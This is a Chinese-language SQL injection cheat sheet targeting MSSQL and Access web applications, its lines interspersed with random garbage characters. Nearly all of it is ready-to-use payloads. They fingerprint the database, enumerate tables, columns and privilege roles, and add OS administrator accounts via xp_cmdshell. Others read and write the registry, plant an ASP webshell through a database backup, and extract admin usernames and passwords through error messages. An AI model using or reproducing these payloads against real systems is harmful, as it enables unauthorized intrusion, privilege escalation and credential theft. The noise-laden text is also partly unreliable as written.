1.判断是否有注入
9 o( `+ @3 O& y/ c1 f8 _. {;and 1=1
& B- a5 ?0 k: W;and 1=2
' m) J4 Q) Y9 f K" l! K& q9 V
- H6 w" m1 J$ Y+ D. F# ?2.初步判断是否是mssql , M( n* E; v) X8 C7 R% T6 F
;and user>0 - `9 B( Q. Z+ f& n0 i' @
* L, v* f# d0 k) |# H0 B- r3.判断数据库系统 - w3 F- V% @. k+ o2 L/ k" ?
;and (select count(*) from sysobjects)>0 mssql . [, n8 m0 F8 {0 L# Y) p
;and (select count(*) from msysobjects)>0 access
9 f5 }3 ]1 E6 J* P' j2 i6 I `1 Y! V& i4 P2 {' I! w) s
4.注入参数是字符 6 E) }& f: N, F1 V1 s" u+ j/ H" e) V
'and [查询条件] and ''=' . h7 A/ h' n+ b/ ^0 |$ R& z
' e: K( q4 ?: Y/ M( w5 q5.搜索时没过滤参数的 . H% ^* b( X+ z8 n. F4 u
'and [查询条件] and '%25'='
* l5 |0 W3 |7 o6 ]5 y: k: @ i6 E, G1 }3 g. z$ f
6.猜数表名 / e9 j: _6 v) v4 [. Y
;and (select Count(*) from [表名])>0 ' w* t p0 i$ I4 v/ r8 ]: F
, G1 i: m' f; H, c
7.猜字段 ! b1 t! V. \; D: \9 h; l* r& S3 G
;and (select Count(字段名) from 表名)>0 1 I# o' u6 F& S7 |" L
5 c1 C, {1 N: ~- ]
8.猜字段中记录长度
o4 c: w1 I2 @8 P9 i+ a3 [;and (select top 1 len(字段名) from 表名)>0
/ I6 D4 c0 S1 L" H C
( l" j' r" M4 v$ y+ \$ O R9.(1)猜字段的ascii值(access)
6 W' [* _, d6 p0 `" j;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
( U; E; Z9 J' I9 o& A) M
* R% _1 r, E9 d9 }" a* v- _9 d(2)猜字段的ascii值(mssql) 7 i" V* z# b( `" R% {
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
- S. H) Y0 \, ^5 c, D; \0 P/ `; b' [) e2 O3 J( x8 J
10.测试权限结构(mssql)
H; _* @6 n8 W( u: h1 w;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 7 f9 a* |5 y: N& V5 o4 `' j7 f0 B; \
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- % ]( l {5 F7 s7 J8 O9 p) X& W
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 9 Z- |) o: J) O" j1 E3 C
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
o/ D2 Z6 q+ n* J( f;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- * t4 F4 n+ P( d0 a
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
& I- i5 o2 o+ L$ ?+ Z9 W* I;and 1=(select IS_MEMBER('db_owner'));--
3 G- f2 O! w1 G5 |
) P7 m& w5 A3 {! z& g11.添加mssql和系统的帐户 9 J: t, \# j) M$ A# f* X
;exec master.dbo.sp_addlogin username;-- D' w. z; r. I1 n
;exec master.dbo.sp_password null,username,password;-- ( j7 }7 h, J8 o$ z
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
& i7 g$ b) p* X7 p$ [, J;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- * {0 M) K1 D3 w. D3 u
;exec master.dbo.xp_cmdshell 'net user username password /add';-- % K3 o' v. M" [# N( B; [! `
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- z: {$ G7 @: I( S
# |$ K9 X8 y+ b: ]/ x7 J, u: Z) U
12.(1)遍历目录
1 G& c' r: O3 X;create table dirs(paths varchar(100), id int)
8 s N/ R9 u; _7 m: o;insert dirs exec master.dbo.xp_dirtree 'c:\' ) a8 r) F2 X: |
;and (select top 1 paths from dirs)>0 " f/ x7 y4 z. d
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ; z( q" z9 d2 V7 e5 p; I
' y" q2 s5 A4 j( f: w u; T7 d. H2 K$ v(2)遍历目录
6 n7 m' k- \* |: ~2 v1 K: H;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
8 x5 _: x% N* p1 T$ D4 I4 ^;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ) A) u% J z2 E: A; w/ M
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 6 q( X, }; B6 t6 c4 @
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 " e$ t n8 R9 p# Y v! i6 e
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 % D7 _6 b$ S8 y2 u* B& H
* l# B" ?; c# X: Q
13.mssql中的存储过程
' b! d4 ]! @$ [" `! Q cxp_regenumvalues 注册表根键, 子键 ; y( K1 t* x( ^ R4 \) q, M
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 8 q; ~' R' k6 ^
xp_regread 根键,子键,键值名 , h( C$ T6 ?; Q( B& u0 P h
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
- j8 i" F# \: `$ U3 V5 l6 lxp_regwrite 根键,子键, 值名, 值类型, 值 8 O5 c1 J2 f7 [
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 $ W' R. P" v; W5 T
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
# R, i; b7 [& ixp_regdeletevalue 根键,子键,值名
4 Y1 M+ O" `+ p' iexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
% N; G# u( T% p. a3 Y8 G" V8 ^xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 1 `- `; }- J& C- M3 U/ P0 {
+ J* {0 H: p: k
14.mssql的backup创建webshell & S$ j5 I/ c" ?
use model
! T. n2 Z* K0 C- \! Acreate table cmd(str image);
, U' E% u4 c( {. I6 e1 m. F6 ^insert into cmd(str) values ('<% Dim oScript %>');
/ C b% i+ l: R, r9 p ^backup database model to disk='c:\l.asp';
& o- r; o3 R. l8 Z- W4 b, z2 T. l8 P- l7 d4 O! J2 a1 A' }
15.mssql内置函数
1 `/ P+ O6 j7 P5 |: V# m;and (select @@version)>0 获得Windows的版本号
. q1 E6 D# V+ X2 z6 N" x;and user_name()='dbo' 判断当前系统的连接用户是不是sa
' h, k8 U2 M8 m8 @0 T) u; G;and (select user_name())>0 爆当前系统的连接用户 # C/ t5 t9 ^8 P9 i/ B
;and (select db_name())>0 得到当前连接的数据库
7 f5 L% \, Z) ]+ w& p7 p! S N8 l& E% s& b) b
/ w6 D# t) }3 Z& a1 m% { Y) [# Y6 l" i
MSSQL手注暴库
) r8 I. o* B `1 z" x* c+ T. M* d& V- d+ `+ o# ?" o
1.暴出当前表名和列名
9 l3 j9 R" @, n2 b n; q8 ?8 M) h在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
1 A m, `$ q) r# b) a: R( F; y4 v: C+ Y2 P h2 i$ D. f- ]
第一.爆出所有数据库名7 H2 N$ N, h8 t8 v6 T
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。- r" x1 T4 @$ V. Z* J8 E6 D+ }/ Q1 u
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。7 t7 c" Z; S2 q5 Y' r
! |' F, N; T4 n3 r3 X# }3 cand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
: g l8 P4 e8 e9 g6 `& I( E
9 O2 T( b! y: Y. h/ W6 R
* ^$ f8 T$ L- u! d8 {4 W, z第二.爆出指定库中的所有表名
4 x3 y$ a( R( C: _得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
7 Q" X" U3 s8 ^, ~# y! h再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
" X7 `- T0 ?7 r5 w
# M+ Z: ]2 g% R+ F* c9 [: Yand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
* y! p' s) e' s7 vand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--% r7 i3 V4 S% D% b V
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--! G! ~) N0 g' @! y7 ^/ N
0 }- G5 o4 w- ~4 c" V, j9 ^
4.爆出指定表中的所有列名
/ e6 C7 B% z- A6 n5 mand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
9 {0 l5 e4 B+ @5 Q( ~. r//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'' ^) i/ H+ q. p1 f4 h5 [
" ~3 ~2 h% R: |4 y$ M& c% ~, E C
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名8 H: P H4 e& _ Q1 O+ Q
4 G, }4 N0 m9 F2 x/ F
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ) `0 ]5 V; B! V C' c! g0 L' w
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。; N5 f! Q, s. G4 w2 O" ~
/ Z& f0 `7 y) P5 C1 v. r) T( }) n4 n
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
/ `; C+ B2 I/ }& ^
8 ?1 `1 T7 \6 S4 \0 N2 z$ cand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
* N* I; ~5 |3 S% O J, C/ N" J( e. T5 G) K: E
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ' i7 a1 @) \6 R U5 h
& V- v3 O y2 p) y; B. `5 p, L+ ?
f7 F/ o3 n" c( |( p: f1 ^( N
% F& G, v, X+ ~. {5.读取指定表中的数据
3 B5 B0 W( K. W. g! r
0 k- h% Q9 c1 b% Pand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
4 J. R1 q1 e! S5 _
1 P3 j6 t: K' }and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
8 A. k: Q% I/ v5 n" r' i& f% x. C& i' x) V* A
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
! z7 J8 V' j* K/ R! G
4 W3 J) J, O2 y% z, D# m* m/ R9 M4 ]
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)! u- g6 P9 z/ `9 Q
1 @( b/ E2 O6 {7 `
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
# [3 j' X+ u$ J' s C7 j1 r! |3 ~
7 }0 q+ U. v" q* z1 k" Y# X$ hand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
4 Y/ o9 x3 j4 n7 d% K/ y" W( i8 t" r7 Y0 K" |9 S' l$ D6 V2 d
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
9 V! k% b; |* t3 |/ _5 h9 U# g |